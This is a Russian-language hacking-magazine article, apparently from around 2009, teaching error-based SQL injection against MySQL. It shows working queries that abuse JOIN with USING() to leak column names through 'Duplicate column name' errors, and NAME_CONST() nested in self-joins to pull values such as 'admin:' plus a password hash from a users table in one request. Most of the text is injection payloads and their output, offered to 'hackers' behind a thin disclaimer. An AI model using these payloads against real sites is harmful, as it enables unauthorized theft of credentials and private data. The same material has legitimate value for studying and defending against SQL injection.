Не прошло и трех дней после сдачи моей
прошлой статьи, как в
голове родилась совершенно новая и куда более эффективная методика работы с
Blind SQL Injection. Если ты помнишь, я рассказывал о том, как существенно
уменьшить количество запросов к серверу при работе с уязвимостями такого рода.
Сегодня я покажу поистине революционные приемы инъектирования. А ты внимательно
слушай и конспектируй.
Разбираемся с именами столбцов
Начались мои исследования с попытки решить вторую основную
проблему тех, кто работает с инъекциями в MySQL. Она заключается в невозможности
получить имена таблиц и столбцов в MySQL 4-й ветки, не прибегая к полному
перебору.
Насколько нам всем известно, в этой ветке начисто отсутствует
системная таблица INFORMATION_SCHEMA.tables, и данные о таблицах, хранящихся в
базе данных, нигде в виде, доступном для чтения, не содержатся. Эта особенность
доставляет массу неудобств. Изначально задумка состояла в том, чтобы попытаться
найти такую ошибку выполнения SQL-запроса, в которой выводится какая-нибудь
информация о текущей таблице. Немного пошерстив документацию, обнаруживаем
ошибку:
Error: 1060 SQLSTATE: 42S21 (ER_DUP_FIELDNAME)
Message: Duplicate column name '%s'
Забиваем текст в поисковик и видим: эту ошибку можно получить,
если задать уже существующее имя колонки в оператор ALTER TABLE, или если
неправильно воспользоваться оператором JOIN. Вариант с ALTER TABLE не подходит,
так как его невозможно использовать в SELECT-запросе. Попробуем вариант с JOIN.
Для начала выясним, когда именно эта ошибка возникает в
SELECT-запросе. Посмотрев документацию, выясняем, что эта ошибка возникает
тогда, когда ты при помощи оператора SELECT пытаешься получить имя какой-нибудь
колонки (к примеру, id) и тут оказывается, что колонок с именем id несколько.
Оператор SELECT теряется и выплевывает ошибку. Мол, колонок с именем 'id'
несколько, и он не знает, какая именно тебе нужна.
Теперь вспомним о том, что оператор JOIN используется для
связывания двух таблиц между собой. Запускаем запрос с использованием JOIN:
mysql> select * from users join news;
+----+------+-----------+----------+----+-------+------------+
| id | name | passwd | is_admin | id | title | date
|
+----+------+-----------+----------+----+-------+------------+
| 1 | Ivan | password1 | 1
| 1 | test1 | 22-12-2009 |
+----+------+-----------+----------+----+-------+------------+
1 row in set (0.00 sec)
И видим, что он вернул нам содержимое таблиц `users` и `news` в
виде одной таблицы, причем имена колонок в таблицах остались прежними. То есть,
у нас в выводимом результате – две колонки с именем 'id'. Попробуем получить
значение поля 'id' из таблицы, составленной выше. Не забываем о том, что для
сложных запросов MySQL требует указания алиасов для каждой таблицы, участвующей
в запросе.
mysql> select * from (select * from users as a join news
as b) as c;
ERROR 1060 (42S21): Duplicate column name 'id'
Отлично! Получили то, что хотели, осталось подумать, как при
помощи подобного запроса получить имена всех столбцов, к примеру, таблицы `users`.
Джойним ее саму с собой:
mysql> select * from (select * from users as a join users
as b) as c;
ERROR 1060 (42S21): Duplicate column name 'id'
На выходе получаем имя первого столбца таблицы. Думаем, как
получить остальные. Снова смотрим в документацию и находим оператор USING,
который используется для указания списка столбцов, которые присутствуют в обеих
таблицах:
USING (column_list) служит для указания списка столбцов, которые
должны существовать в обеих таблицах. Такое выражение USING, как:
A LEFT JOIN B USING (C1,C2,C3,...)
семантически идентично выражению ON, например:
A.C1=B.C1 AND A.C2=B.C2 AND A.C3=B.C3,...
То есть, объединив таблицы `news` и `users` и используя оператор
USING() с параметром 'id', мы получим результирующую таблицу, в которой столбец
с именем 'id' будет присутствовать только один раз. Пробуем:
mysql> select * from users a join news b USING(id);
+----+------+-----------+----------+-------+------------+
| id | name | passwd | is_admin | title | date
|
+----+------+-----------+----------+-------+------------+
| 1 | Ivan | password1 | 1 |
test1 | 22-12-2009 |
+----+------+-----------+----------+-------+------------+
1 row in set (0.00 sec)
Действительно, видим только один столбец с именем 'id', а значит
и попытка получить столбец с именем 'id' из этой таблицы никакой ошибки не
спровоцирует.
Применим этот оператор для получения имен остальных полей из
таблицы `users`, с учетом того, что имя 'id' мы уже знаем:
mysql> select * from (select * from users a join users b
using(id))c;
ERROR 1060 (42S21): Duplicate column name 'name'
Ага, узнали еще одно имя столбца - 'name', пробуем дальше:
mysql> select * from (select * from users a join users b
using(id, name))c;
ERROR 1060 (42S21): Duplicate column name 'passwd'
Узнаем имя третьего столбца. И так, один за другим, выявляем
имена столбцов в этой таблице. В конце, когда выясним все имена, ошибки не
будет, и запрос выполнится успешно.
mysql> select * from (select * from users a join users b
using(id, name, passwd, is_admin))c;
+----+------+-----------+----------+
| id | name | passwd | is_admin |
+----+------+-----------+----------+
| 1 | Ivan | password1 | 1 |
+----+------+-----------+----------+
1 row in set (0.00 sec)
Делаем вывод, что в таблице `users` присутствуют столбцы 'id', 'name',
'passwd', 'is_admin'. Вроде бы все хорошо, но... метод не срабатывает на MySQL
4-й версии. Выясняется, что в четвертой версии при таком запросе возникает
совершенно другая ошибка. Следовательно, все описанное выше может
использоваться, только если по каким-либо причинам мы не можем воспользоваться
таблицей INFORMATION_SCHEMA.tables в пятой или шестой версиях MySQL.
Взгляд под другим углом
Возможность получать имена столбцов без использования
INFORMATION_SCHEMA – это, конечно, возможность полезная, но такая необходимость
возникает довольно редко.
Разве что в слепых SQL-инъекциях, с возможностью вывода ошибки,
где стандартный процесс получения значений занимает достаточно много времени. А
тут пара запросов и все нужные значения получены. Хотелось бы выжать из этой
ошибки большее...
Недавно мне в аську постучался jokester (Джок, большой тебе
привет!) и предложил следующую идею: "А почему бы не попробовать выводить
значение какого-либо поля из базы данных в тексте ошибки целиком, не прибегая к
классическому использованию more 1 row?". "Идея отличная", - согласился я.
Он начал исследовать варианты составления запросов с
использованием ORDER BY, которые при неправильном значении сортируемого поля
выводят ошибку:
mysql> select * from users order by lala;
ERROR 1054 (42S22): Unknown column 'lala' in 'order clause'
Я же вспомнил о методе вывода имен колонок с использованием JOIN.
Через некоторое время мы оба пришли к тому, что нужно найти какой-нибудь способ
заставить базу данных воспринимать значение поля как имя колонки. Это
обуславливается тем, что запросы, которые ругаются на неправильное имя колонки,
есть, а запросов, которые ругаются на неправильные данные в таблице и при этом
их выводят, - нет.
Отлично, задача поставлена, зарываемся в документацию. Находим
интересную функцию в разделе "Miscellaneous Functions", с пометкой "for internal
use only". Функция называется NAME_CONST(). Используется так: NAME_CONST(name,value).
Результатом работы станет значение 'value' в столбце с именем 'name':
mysql> select name_const('Test', 111);
+------+
| Test |
+------+
| 111 |
+------+
1 row in set (0.00 sec)
Как раз то, что нужно! Проверим, возможно ли вместо значения 'value'
выполнить какой-нибудь запрос. Достанем, к примеру, поле 'passhash' из таблицы 'users':
mysql> select name_const((select passhash from users where
id=1), 111);
+----------------------------------+
| f8d80def69dc3ee86c5381219e4c5c80 |
+----------------------------------+
| 111
|
+----------------------------------+
1 row in set (0.00 sec)1 row in set (0.03 sec)
Отлично, все сработало, как надо - в имени столбца мы видим
строку 'f8d80def69dc3ee86c5381219e4c5c80', которая является паролем первого
пользователя из таблицы 'users'.
А теперь используем этот запрос в методе получения имен полей,
без использования INFORMATION_SCHEMA. Аккуратненько составляем запрос, подставив
вызов функции NAME_CONST вместо имени таблицы, в которой узнаем имена столбцов.
Не забываем добавлять алиасы к каждой используемой таблице, и стараемся не
запутаться в скобочках. Запускаем:
mysql> SELECT * FROM (SELECT * FROM (SELECT NAME_CONST((SELECT
passwd FROM users LIMIT 1),1)x)a JOIN (SELECT NAME_CONST((SELECT passwd FROM
users LIMIT 1),1)k)e)r;
ERROR 1060 (42S21): Duplicate column name 'f8d80def69dc3ee86c5381219e4c5c80'
Вот мы и добились, чего хотели. Теперь мы знаем, как достать из
базы данных любое поле за один запрос! Попробуем вытащить больше чем одно поле
при помощи функции CONCAT(), назначение которой объединять две и более строк.
Например:
mysql> SELECT * FROM (SELECT * FROM (SELECT NAME_CONST((SELECT
concat(name,0x3a,passwd) FROM users LIMIT 1),1)x)a JOIN (SELECT NAME_CONST((SELECT
concat(name,0x3a,passwd) FROM users LIMIT 1),1)k)e)r;
ERROR 1060 (42S21): Duplicate column name
'admin:f8d80def69dc3ee86c5381219e4c5c80'
Так мы и получили два поля за один запрос. К сожалению,
бесконечно увеличивать количество выводимых полей невозможно, так как вывести
более 64 символов не получится. Но эта проблема решаема, если использовать
функцию SUBSTRING(), описание к которой ты без проблем найдешь в официальной
документации.
Заключение
Далеко не все методики работы с уязвимостями исследованы до
конца, вариантов упростить свою работу еще бесчисленное множество. Поэтому я бы
хотел посоветовать всем хакерам иногда отвлекаться от тривиального взлома и
уделять часть своего времени новым исследованиям. Ведь хакер это, в первую
очередь, исследователь, не так ли?
WARNING
Внимание! Информация представлена исключительно с целью
ознакомления! Ни автор, ни редакция за твои действия ответственности не несут!
INFO
Эти методы можно использовать и в обычных инъекциях. При их
использовании не придется подбирать количество колонок в запросе.